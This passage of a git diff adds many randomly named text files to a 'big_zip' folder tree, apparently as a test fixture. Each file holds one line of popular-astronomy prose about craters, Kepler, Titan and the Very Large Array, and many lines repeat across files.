+++ b/big_zip/big-zip-files/folder_ykefifmclf/folder_jvrufoauxz/file_xxxewodneimyga.txt
@@ -0,0 +1 @@
+distant ridge was a crater rampart. And not so very far to the southeast, I knew, were the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ykefifmclf/folder_jvrufoauxz/file_ywlpzcerstnyxklfi.txt b/big_zip/big-zip-files/folder_ykefifmclf/folder_jvrufoauxz/file_ywlpzcerstnyxklfi.txt
new file mode 100644
index 0000000..26db0d6
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ykefifmclf/folder_jvrufoauxz/file_ywlpzcerstnyxklfi.txt
@@ -0,0 +1 @@
+distant ridge was a crater rampart. And not so very far to the southeast, I knew, were the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ykefifmclf/folder_jvrufoauxz/file_zyeptdxdlxrxsngfmkn.txt b/big_zip/big-zip-files/folder_ykefifmclf/folder_jvrufoauxz/file_zyeptdxdlxrxsngfmkn.txt
new file mode 100644
index 0000000..26db0d6
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ykefifmclf/folder_jvrufoauxz/file_zyeptdxdlxrxsngfmkn.txt
@@ -0,0 +1 @@
+distant ridge was a crater rampart. And not so very far to the southeast, I knew, were the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ykefifmclf/folder_jvrufoauxz/folder_mvcvgrvmep/file_amnfjswsni.txt b/big_zip/big-zip-files/folder_ykefifmclf/folder_jvrufoauxz/folder_mvcvgrvmep/file_amnfjswsni.txt
new file mode 100644
index 0000000..83ccf47
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ykefifmclf/folder_jvrufoauxz/folder_mvcvgrvmep/file_amnfjswsni.txt
@@ -0,0 +1 @@
+intergalactic space. It is a splash in the galactic pond, a temporary configuration of
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ykefifmclf/folder_jvrufoauxz/folder_mvcvgrvmep/file_bhphnbwzmrizboizplhcs.txt b/big_zip/big-zip-files/folder_ykefifmclf/folder_jvrufoauxz/folder_mvcvgrvmep/file_bhphnbwzmrizboizplhcs.txt
new file mode 100644
index 0000000..83ccf47
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ykefifmclf/folder_jvrufoauxz/folder_mvcvgrvmep/file_bhphnbwzmrizboizplhcs.txt
@@ -0,0 +1 @@
+intergalactic space. It is a splash in the galactic pond, a temporary configuration of
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ykefifmclf/folder_jvrufoauxz/folder_mvcvgrvmep/file_blhcxhqfsf.txt b/big_zip/big-zip-files/folder_ykefifmclf/folder_jvrufoauxz/folder_mvcvgrvmep/file_blhcxhqfsf.txt
new file mode 100644
index 0000000..83ccf47
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ykefifmclf/folder_jvrufoauxz/folder_mvcvgrvmep/file_blhcxhqfsf.txt
@@ -0,0 +1 @@
+intergalactic space. It is a splash in the galactic pond, a temporary configuration of
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ykefifmclf/folder_jvrufoauxz/folder_mvcvgrvmep/file_cwlrgfpuwtqeltwwwzdiz.txt b/big_zip/big-zip-files/folder_ykefifmclf/folder_jvrufoauxz/folder_mvcvgrvmep/file_cwlrgfpuwtqeltwwwzdiz.txt
new file mode 100644
index 0000000..83ccf47
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ykefifmclf/folder_jvrufoauxz/folder_mvcvgrvmep/file_cwlrgfpuwtqeltwwwzdiz.txt
@@ -0,0 +1 @@
+intergalactic space. It is a splash in the galactic pond, a temporary configuration of
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ykefifmclf/folder_jvrufoauxz/folder_mvcvgrvmep/file_edkdvuyiokam.txt b/big_zip/big-zip-files/folder_ykefifmclf/folder_jvrufoauxz/folder_mvcvgrvmep/file_edkdvuyiokam.txt
new file mode 100644
index 0000000..83ccf47
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ykefifmclf/folder_jvrufoauxz/folder_mvcvgrvmep/file_edkdvuyiokam.txt
@@ -0,0 +1 @@
+intergalactic space. It is a splash in the galactic pond, a temporary configuration of
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ykefifmclf/folder_jvrufoauxz/folder_mvcvgrvmep/file_fdrxwjkho.txt b/big_zip/big-zip-files/folder_ykefifmclf/folder_jvrufoauxz/folder_mvcvgrvmep/file_fdrxwjkho.txt
new file mode 100644
index 0000000..83ccf47
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ykefifmclf/folder_jvrufoauxz/folder_mvcvgrvmep/file_fdrxwjkho.txt
@@ -0,0 +1 @@
+intergalactic space. It is a splash in the galactic pond, a temporary configuration of
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ykefifmclf/folder_jvrufoauxz/folder_mvcvgrvmep/file_ggnxdabxrfwsgixh.txt b/big_zip/big-zip-files/folder_ykefifmclf/folder_jvrufoauxz/folder_mvcvgrvmep/file_ggnxdabxrfwsgixh.txt
new file mode 100644
index 0000000..83ccf47
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ykefifmclf/folder_jvrufoauxz/folder_mvcvgrvmep/file_ggnxdabxrfwsgixh.txt
@@ -0,0 +1 @@
+intergalactic space. It is a splash in the galactic pond, a temporary configuration of
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ykefifmclf/folder_jvrufoauxz/folder_mvcvgrvmep/file_gitbzguz.txt b/big_zip/big-zip-files/folder_ykefifmclf/folder_jvrufoauxz/folder_mvcvgrvmep/file_gitbzguz.txt
new file mode 100644
index 0000000..83ccf47
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ykefifmclf/folder_jvrufoauxz/folder_mvcvgrvmep/file_gitbzguz.txt
@@ -0,0 +1 @@
+intergalactic space. It is a splash in the galactic pond, a temporary configuration of
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ykefifmclf/folder_jvrufoauxz/folder_mvcvgrvmep/file_gtjopvhig.txt b/big_zip/big-zip-files/folder_ykefifmclf/folder_jvrufoauxz/folder_mvcvgrvmep/file_gtjopvhig.txt
new file mode 100644
index 0000000..83ccf47
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ykefifmclf/folder_jvrufoauxz/folder_mvcvgrvmep/file_gtjopvhig.txt
@@ -0,0 +1 @@
+intergalactic space. It is a splash in the galactic pond, a temporary configuration of
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ykefifmclf/folder_jvrufoauxz/folder_mvcvgrvmep/file_kfaamhzp.txt b/big_zip/big-zip-files/folder_ykefifmclf/folder_jvrufoauxz/folder_mvcvgrvmep/file_kfaamhzp.txt
new file mode 100644
index 0000000..83ccf47
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ykefifmclf/folder_jvrufoauxz/folder_mvcvgrvmep/file_kfaamhzp.txt
@@ -0,0 +1 @@
+intergalactic space. It is a splash in the galactic pond, a temporary configuration of
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ykefifmclf/folder_jvrufoauxz/folder_mvcvgrvmep/file_ljrlxkqbyifucfejxubq.txt b/big_zip/big-zip-files/folder_ykefifmclf/folder_jvrufoauxz/folder_mvcvgrvmep/file_ljrlxkqbyifucfejxubq.txt
new file mode 100644
index 0000000..83ccf47
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ykefifmclf/folder_jvrufoauxz/folder_mvcvgrvmep/file_ljrlxkqbyifucfejxubq.txt
@@ -0,0 +1 @@
+intergalactic space. It is a splash in the galactic pond, a temporary configuration of
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ykefifmclf/folder_jvrufoauxz/folder_mvcvgrvmep/file_orqeialvqcxlhmfcrxn.txt b/big_zip/big-zip-files/folder_ykefifmclf/folder_jvrufoauxz/folder_mvcvgrvmep/file_orqeialvqcxlhmfcrxn.txt
new file mode 100644
index 0000000..83ccf47
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ykefifmclf/folder_jvrufoauxz/folder_mvcvgrvmep/file_orqeialvqcxlhmfcrxn.txt
@@ -0,0 +1 @@
+intergalactic space. It is a splash in the galactic pond, a temporary configuration of
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ykefifmclf/folder_jvrufoauxz/folder_mvcvgrvmep/file_rmowvekwogrvlpgmx.txt b/big_zip/big-zip-files/folder_ykefifmclf/folder_jvrufoauxz/folder_mvcvgrvmep/file_rmowvekwogrvlpgmx.txt
new file mode 100644
index 0000000..83ccf47
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ykefifmclf/folder_jvrufoauxz/folder_mvcvgrvmep/file_rmowvekwogrvlpgmx.txt
@@ -0,0 +1 @@
+intergalactic space. It is a splash in the galactic pond, a temporary configuration of
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ykefifmclf/folder_jvrufoauxz/folder_mvcvgrvmep/file_tpqxgfzybkbc.txt b/big_zip/big-zip-files/folder_ykefifmclf/folder_jvrufoauxz/folder_mvcvgrvmep/file_tpqxgfzybkbc.txt
new file mode 100644
index 0000000..83ccf47
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ykefifmclf/folder_jvrufoauxz/folder_mvcvgrvmep/file_tpqxgfzybkbc.txt
@@ -0,0 +1 @@
+intergalactic space. It is a splash in the galactic pond, a temporary configuration of
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ykefifmclf/folder_jvrufoauxz/folder_mvcvgrvmep/file_umwtnchhcxgmfscgawsjrf.txt b/big_zip/big-zip-files/folder_ykefifmclf/folder_jvrufoauxz/folder_mvcvgrvmep/file_umwtnchhcxgmfscgawsjrf.txt
new file mode 100644
index 0000000..83ccf47
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ykefifmclf/folder_jvrufoauxz/folder_mvcvgrvmep/file_umwtnchhcxgmfscgawsjrf.txt
@@ -0,0 +1 @@
+intergalactic space. It is a splash in the galactic pond, a temporary configuration of
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ykefifmclf/folder_jvrufoauxz/folder_mvcvgrvmep/file_vrxckjwfjkdvakyyqvqzoz.txt b/big_zip/big-zip-files/folder_ykefifmclf/folder_jvrufoauxz/folder_mvcvgrvmep/file_vrxckjwfjkdvakyyqvqzoz.txt
new file mode 100644
index 0000000..83ccf47
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ykefifmclf/folder_jvrufoauxz/folder_mvcvgrvmep/file_vrxckjwfjkdvakyyqvqzoz.txt
@@ -0,0 +1 @@
+intergalactic space. It is a splash in the galactic pond, a temporary configuration of
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ykefifmclf/folder_jvrufoauxz/folder_mvcvgrvmep/file_wcenfbwfmwie.txt b/big_zip/big-zip-files/folder_ykefifmclf/folder_jvrufoauxz/folder_mvcvgrvmep/file_wcenfbwfmwie.txt
new file mode 100644
index 0000000..83ccf47
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ykefifmclf/folder_jvrufoauxz/folder_mvcvgrvmep/file_wcenfbwfmwie.txt
@@ -0,0 +1 @@
+intergalactic space. It is a splash in the galactic pond, a temporary configuration of
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ykefifmclf/folder_jvrufoauxz/folder_mvcvgrvmep/file_wnqeyqrlxjlleikr.txt b/big_zip/big-zip-files/folder_ykefifmclf/folder_jvrufoauxz/folder_mvcvgrvmep/file_wnqeyqrlxjlleikr.txt
new file mode 100644
index 0000000..83ccf47
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ykefifmclf/folder_jvrufoauxz/folder_mvcvgrvmep/file_wnqeyqrlxjlleikr.txt
@@ -0,0 +1 @@
+intergalactic space. It is a splash in the galactic pond, a temporary configuration of
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ykefifmclf/folder_jvrufoauxz/folder_mvcvgrvmep/file_xptzycyelnjxnyhuarjcfia.txt b/big_zip/big-zip-files/folder_ykefifmclf/folder_jvrufoauxz/folder_mvcvgrvmep/file_xptzycyelnjxnyhuarjcfia.txt
new file mode 100644
index 0000000..83ccf47
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ykefifmclf/folder_jvrufoauxz/folder_mvcvgrvmep/file_xptzycyelnjxnyhuarjcfia.txt
@@ -0,0 +1 @@
+intergalactic space. It is a splash in the galactic pond, a temporary configuration of
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ykefifmclf/folder_jvrufoauxz/folder_mvcvgrvmep/file_yipntooyxdgmk.txt b/big_zip/big-zip-files/folder_ykefifmclf/folder_jvrufoauxz/folder_mvcvgrvmep/file_yipntooyxdgmk.txt
new file mode 100644
index 0000000..83ccf47
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ykefifmclf/folder_jvrufoauxz/folder_mvcvgrvmep/file_yipntooyxdgmk.txt
@@ -0,0 +1 @@
+intergalactic space. It is a splash in the galactic pond, a temporary configuration of
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ykefifmclf/folder_jvrufoauxz/folder_mvcvgrvmep/folder_wophfjjlou/daytskatjeomalvoqtkef.txt b/big_zip/big-zip-files/folder_ykefifmclf/folder_jvrufoauxz/folder_mvcvgrvmep/folder_wophfjjlou/daytskatjeomalvoqtkef.txt
new file mode 100644
index 0000000..6ed6b06
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ykefifmclf/folder_jvrufoauxz/folder_mvcvgrvmep/folder_wophfjjlou/daytskatjeomalvoqtkef.txt
@@ -0,0 +1 @@
+wavelengths and redder colors. Since we think there may be massive black holes at the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ykefifmclf/folder_jvrufoauxz/folder_mvcvgrvmep/folder_wophfjjlou/ejcbtpxujesrsed.txt b/big_zip/big-zip-files/folder_ykefifmclf/folder_jvrufoauxz/folder_mvcvgrvmep/folder_wophfjjlou/ejcbtpxujesrsed.txt
new file mode 100644
index 0000000..525d5ed
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ykefifmclf/folder_jvrufoauxz/folder_mvcvgrvmep/folder_wophfjjlou/ejcbtpxujesrsed.txt
@@ -0,0 +1 @@
+10 The Edge of Forever
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ykefifmclf/folder_jvrufoauxz/folder_mvcvgrvmep/folder_wophfjjlou/file_adlpgodmywpikwcsvzqlfe.txt b/big_zip/big-zip-files/folder_ykefifmclf/folder_jvrufoauxz/folder_mvcvgrvmep/folder_wophfjjlou/file_adlpgodmywpikwcsvzqlfe.txt
new file mode 100644
index 0000000..e265877
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ykefifmclf/folder_jvrufoauxz/folder_mvcvgrvmep/folder_wophfjjlou/file_adlpgodmywpikwcsvzqlfe.txt
@@ -0,0 +1 @@
+then confront still more difficult questions. What were conditions like at the time of the Big
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ykefifmclf/folder_jvrufoauxz/folder_mvcvgrvmep/folder_wophfjjlou/file_avaqyyrbn.txt b/big_zip/big-zip-files/folder_ykefifmclf/folder_jvrufoauxz/folder_mvcvgrvmep/folder_wophfjjlou/file_avaqyyrbn.txt
new file mode 100644
index 0000000..e265877
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ykefifmclf/folder_jvrufoauxz/folder_mvcvgrvmep/folder_wophfjjlou/file_avaqyyrbn.txt
@@ -0,0 +1 @@
+then confront still more difficult questions. What were conditions like at the time of the Big
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ykefifmclf/folder_jvrufoauxz/folder_mvcvgrvmep/folder_wophfjjlou/file_fvrfgowogeptihplgxzn.txt b/big_zip/big-zip-files/folder_ykefifmclf/folder_jvrufoauxz/folder_mvcvgrvmep/folder_wophfjjlou/file_fvrfgowogeptihplgxzn.txt
new file mode 100644
index 0000000..e265877
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ykefifmclf/folder_jvrufoauxz/folder_mvcvgrvmep/folder_wophfjjlou/file_fvrfgowogeptihplgxzn.txt
@@ -0,0 +1 @@
+then confront still more difficult questions. What were conditions like at the time of the Big
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ykefifmclf/folder_jvrufoauxz/folder_mvcvgrvmep/folder_wophfjjlou/file_hxzfxefitfglranlicxzb.txt b/big_zip/big-zip-files/folder_ykefifmclf/folder_jvrufoauxz/folder_mvcvgrvmep/folder_wophfjjlou/file_hxzfxefitfglranlicxzb.txt
new file mode 100644
index 0000000..e265877
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ykefifmclf/folder_jvrufoauxz/folder_mvcvgrvmep/folder_wophfjjlou/file_hxzfxefitfglranlicxzb.txt
@@ -0,0 +1 @@
+then confront still more difficult questions. What were conditions like at the time of the Big
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ykefifmclf/folder_jvrufoauxz/folder_mvcvgrvmep/folder_wophfjjlou/file_paenglxzleqounxetszz.txt b/big_zip/big-zip-files/folder_ykefifmclf/folder_jvrufoauxz/folder_mvcvgrvmep/folder_wophfjjlou/file_paenglxzleqounxetszz.txt
new file mode 100644
index 0000000..e265877
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ykefifmclf/folder_jvrufoauxz/folder_mvcvgrvmep/folder_wophfjjlou/file_paenglxzleqounxetszz.txt
@@ -0,0 +1 @@
+then confront still more difficult questions. What were conditions like at the time of the Big
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ykefifmclf/folder_jvrufoauxz/folder_mvcvgrvmep/folder_wophfjjlou/file_pkvjysmoakhcctnff.txt b/big_zip/big-zip-files/folder_ykefifmclf/folder_jvrufoauxz/folder_mvcvgrvmep/folder_wophfjjlou/file_pkvjysmoakhcctnff.txt
new file mode 100644
index 0000000..e265877
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ykefifmclf/folder_jvrufoauxz/folder_mvcvgrvmep/folder_wophfjjlou/file_pkvjysmoakhcctnff.txt
@@ -0,0 +1 @@
+then confront still more difficult questions. What were conditions like at the time of the Big
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ykefifmclf/folder_jvrufoauxz/folder_mvcvgrvmep/folder_wophfjjlou/file_pqgspcbh.txt b/big_zip/big-zip-files/folder_ykefifmclf/folder_jvrufoauxz/folder_mvcvgrvmep/folder_wophfjjlou/file_pqgspcbh.txt
new file mode 100644
index 0000000..e265877
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ykefifmclf/folder_jvrufoauxz/folder_mvcvgrvmep/folder_wophfjjlou/file_pqgspcbh.txt
@@ -0,0 +1 @@
+then confront still more difficult questions. What were conditions like at the time of the Big
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ykefifmclf/folder_jvrufoauxz/folder_mvcvgrvmep/folder_wophfjjlou/file_sdbizxylb.txt b/big_zip/big-zip-files/folder_ykefifmclf/folder_jvrufoauxz/folder_mvcvgrvmep/folder_wophfjjlou/file_sdbizxylb.txt
new file mode 100644
index 0000000..e265877
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ykefifmclf/folder_jvrufoauxz/folder_mvcvgrvmep/folder_wophfjjlou/file_sdbizxylb.txt
@@ -0,0 +1 @@
+then confront still more difficult questions. What were conditions like at the time of the Big
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ykefifmclf/folder_jvrufoauxz/folder_mvcvgrvmep/folder_wophfjjlou/file_wlglewhvhxbru.txt b/big_zip/big-zip-files/folder_ykefifmclf/folder_jvrufoauxz/folder_mvcvgrvmep/folder_wophfjjlou/file_wlglewhvhxbru.txt
new file mode 100644
index 0000000..e265877
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ykefifmclf/folder_jvrufoauxz/folder_mvcvgrvmep/folder_wophfjjlou/file_wlglewhvhxbru.txt
@@ -0,0 +1 @@
+then confront still more difficult questions. What were conditions like at the time of the Big
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ykefifmclf/folder_jvrufoauxz/folder_mvcvgrvmep/folder_wophfjjlou/file_wrcushtvxdq.txt b/big_zip/big-zip-files/folder_ykefifmclf/folder_jvrufoauxz/folder_mvcvgrvmep/folder_wophfjjlou/file_wrcushtvxdq.txt
new file mode 100644
index 0000000..e265877
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ykefifmclf/folder_jvrufoauxz/folder_mvcvgrvmep/folder_wophfjjlou/file_wrcushtvxdq.txt
@@ -0,0 +1 @@
+then confront still more difficult questions. What were conditions like at the time of the Big
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ykefifmclf/folder_jvrufoauxz/folder_mvcvgrvmep/folder_wophfjjlou/file_xtcqhhtliqnetsrjr.txt b/big_zip/big-zip-files/folder_ykefifmclf/folder_jvrufoauxz/folder_mvcvgrvmep/folder_wophfjjlou/file_xtcqhhtliqnetsrjr.txt
new file mode 100644
index 0000000..e265877
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ykefifmclf/folder_jvrufoauxz/folder_mvcvgrvmep/folder_wophfjjlou/file_xtcqhhtliqnetsrjr.txt
@@ -0,0 +1 @@
+then confront still more difficult questions. What were conditions like at the time of the Big
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ykefifmclf/folder_jvrufoauxz/folder_mvcvgrvmep/folder_wophfjjlou/fkwblvjwqtr.txt b/big_zip/big-zip-files/folder_ykefifmclf/folder_jvrufoauxz/folder_mvcvgrvmep/folder_wophfjjlou/fkwblvjwqtr.txt
new file mode 100644
index 0000000..762c03f
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ykefifmclf/folder_jvrufoauxz/folder_mvcvgrvmep/folder_wophfjjlou/fkwblvjwqtr.txt
@@ -0,0 +1 @@
+latest to be found tending to be the rarest. Many are familiar - those that primarily make up
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ykefifmclf/folder_jvrufoauxz/folder_mvcvgrvmep/folder_wophfjjlou/gcsunjkmtolwjddesdxbdul.txt b/big_zip/big-zip-files/folder_ykefifmclf/folder_jvrufoauxz/folder_mvcvgrvmep/folder_wophfjjlou/gcsunjkmtolwjddesdxbdul.txt
new file mode 100644
index 0000000..80a00ca
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ykefifmclf/folder_jvrufoauxz/folder_mvcvgrvmep/folder_wophfjjlou/gcsunjkmtolwjddesdxbdul.txt
@@ -0,0 +1 @@
+Through a break in the clouds of Titan, you might glimpse Saturn and its rings, their
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ykefifmclf/folder_jvrufoauxz/folder_mvcvgrvmep/folder_wophfjjlou/hjztvhwjabmscjmwn.txt b/big_zip/big-zip-files/folder_ykefifmclf/folder_jvrufoauxz/folder_mvcvgrvmep/folder_wophfjjlou/hjztvhwjabmscjmwn.txt
new file mode 100644
index 0000000..43ba687
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ykefifmclf/folder_jvrufoauxz/folder_mvcvgrvmep/folder_wophfjjlou/hjztvhwjabmscjmwn.txt
@@ -0,0 +1 @@
+that, at an unexpectedly deep level, humans can understand the Cosmos. Our modern global
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ykefifmclf/folder_jvrufoauxz/folder_mvcvgrvmep/folder_wophfjjlou/ifgojgmiobmsrhtg.txt b/big_zip/big-zip-files/folder_ykefifmclf/folder_jvrufoauxz/folder_mvcvgrvmep/folder_wophfjjlou/ifgojgmiobmsrhtg.txt
new file mode 100644
index 0000000..b99a18e
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ykefifmclf/folder_jvrufoauxz/folder_mvcvgrvmep/folder_wophfjjlou/ifgojgmiobmsrhtg.txt
@@ -0,0 +1 @@
+somehow come back to the place from which he started. His two-dimensional universe
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ykefifmclf/folder_jvrufoauxz/folder_mvcvgrvmep/folder_wophfjjlou/jowosoetlejeb.txt b/big_zip/big-zip-files/folder_ykefifmclf/folder_jvrufoauxz/folder_mvcvgrvmep/folder_wophfjjlou/jowosoetlejeb.txt
new file mode 100644
index 0000000..5cf2959
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ykefifmclf/folder_jvrufoauxz/folder_mvcvgrvmep/folder_wophfjjlou/jowosoetlejeb.txt
@@ -0,0 +1 @@
+Kepler’s book was used as evidence that his mother was a witch.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ykefifmclf/folder_jvrufoauxz/folder_mvcvgrvmep/folder_wophfjjlou/kgemskzm.txt b/big_zip/big-zip-files/folder_ykefifmclf/folder_jvrufoauxz/folder_mvcvgrvmep/folder_wophfjjlou/kgemskzm.txt
new file mode 100644
index 0000000..4a9d3b5
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ykefifmclf/folder_jvrufoauxz/folder_mvcvgrvmep/folder_wophfjjlou/kgemskzm.txt
@@ -0,0 +1 @@
+how has the Earth avoided them? Why is Meteor Crater so rare? Do the comets and
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ykefifmclf/folder_jvrufoauxz/folder_mvcvgrvmep/folder_wophfjjlou/krrretzntqjdnlttlh.txt b/big_zip/big-zip-files/folder_ykefifmclf/folder_jvrufoauxz/folder_mvcvgrvmep/folder_wophfjjlou/krrretzntqjdnlttlh.txt
new file mode 100644
index 0000000..a2214e5
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ykefifmclf/folder_jvrufoauxz/folder_mvcvgrvmep/folder_wophfjjlou/krrretzntqjdnlttlh.txt
@@ -0,0 +1 @@
+The Very Large Array (VLA) is a collection of twenty-seven separate radio
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ykefifmclf/folder_jvrufoauxz/folder_mvcvgrvmep/folder_wophfjjlou/njngnmqlajzmxjbggtww.txt b/big_zip/big-zip-files/folder_ykefifmclf/folder_jvrufoauxz/folder_mvcvgrvmep/folder_wophfjjlou/njngnmqlajzmxjbggtww.txt
new file mode 100644
index 0000000..6a58f5d
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ykefifmclf/folder_jvrufoauxz/folder_mvcvgrvmep/folder_wophfjjlou/njngnmqlajzmxjbggtww.txt
@@ -0,0 +1 @@
+true value of 300,000 kilometers per second, but something very modest: 40 kilometers per
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ykefifmclf/folder_jvrufoauxz/folder_mvcvgrvmep/folder_wophfjjlou/odgthyklghmrjqtnoydsfo.txt b/big_zip/big-zip-files/folder_ykefifmclf/folder_jvrufoauxz/folder_mvcvgrvmep/folder_wophfjjlou/odgthyklghmrjqtnoydsfo.txt
new file mode 100644
index 0000000..e864040
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ykefifmclf/folder_jvrufoauxz/folder_mvcvgrvmep/folder_wophfjjlou/odgthyklghmrjqtnoydsfo.txt
@@ -0,0 +1 @@
+the stars’ outermost layers. The resulting lines permit us to tell that stars millions of light-
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ykefifmclf/folder_jvrufoauxz/folder_mvcvgrvmep/folder_wophfjjlou/pvwvwltlyz.txt b/big_zip/big-zip-files/folder_ykefifmclf/folder_jvrufoauxz/folder_mvcvgrvmep/folder_wophfjjlou/pvwvwltlyz.txt
new file mode 100644
index 0000000..66e2421
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ykefifmclf/folder_jvrufoauxz/folder_mvcvgrvmep/folder_wophfjjlou/pvwvwltlyz.txt
@@ -0,0 +1 @@
+other nations were frequent guests. Growing up in this environment, the young Christiaan
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ykefifmclf/folder_jvrufoauxz/folder_mvcvgrvmep/folder_wophfjjlou/qcbuftscafzyx.txt b/big_zip/big-zip-files/folder_ykefifmclf/folder_jvrufoauxz/folder_mvcvgrvmep/folder_wophfjjlou/qcbuftscafzyx.txt
new file mode 100644
index 0000000..91f1c4f
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ykefifmclf/folder_jvrufoauxz/folder_mvcvgrvmep/folder_wophfjjlou/qcbuftscafzyx.txt
@@ -0,0 +1 @@
+slowly grows and changes, leaving many old parts still functioning. There is no way for
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ykefifmclf/folder_jvrufoauxz/folder_mvcvgrvmep/folder_wophfjjlou/slusmgufgkz.txt b/big_zip/big-zip-files/folder_ykefifmclf/folder_jvrufoauxz/folder_mvcvgrvmep/folder_wophfjjlou/slusmgufgkz.txt
new file mode 100644
index 0000000..43bcdc1
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ykefifmclf/folder_jvrufoauxz/folder_mvcvgrvmep/folder_wophfjjlou/slusmgufgkz.txt
@@ -0,0 +1 @@
+in a laundry chest. In Kepler’s little hometown of Weil der Stadt, roughly three women
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ykefifmclf/folder_jvrufoauxz/folder_mvcvgrvmep/folder_wophfjjlou/sxtwqmckwiroiftfmzrc.txt b/big_zip/big-zip-files/folder_ykefifmclf/folder_jvrufoauxz/folder_mvcvgrvmep/folder_wophfjjlou/sxtwqmckwiroiftfmzrc.txt
new file mode 100644
index 0000000..53169fc
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ykefifmclf/folder_jvrufoauxz/folder_mvcvgrvmep/folder_wophfjjlou/sxtwqmckwiroiftfmzrc.txt
@@ -0,0 +1 @@
+neutrons, say, so there was no empty space anywhere, there would still be only about 10 128
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ykefifmclf/folder_jvrufoauxz/folder_mvcvgrvmep/folder_wophfjjlou/tdskdcwtbe.txt b/big_zip/big-zip-files/folder_ykefifmclf/folder_jvrufoauxz/folder_mvcvgrvmep/folder_wophfjjlou/tdskdcwtbe.txt
new file mode 100644
index 0000000..64764e2
--- /dev/null
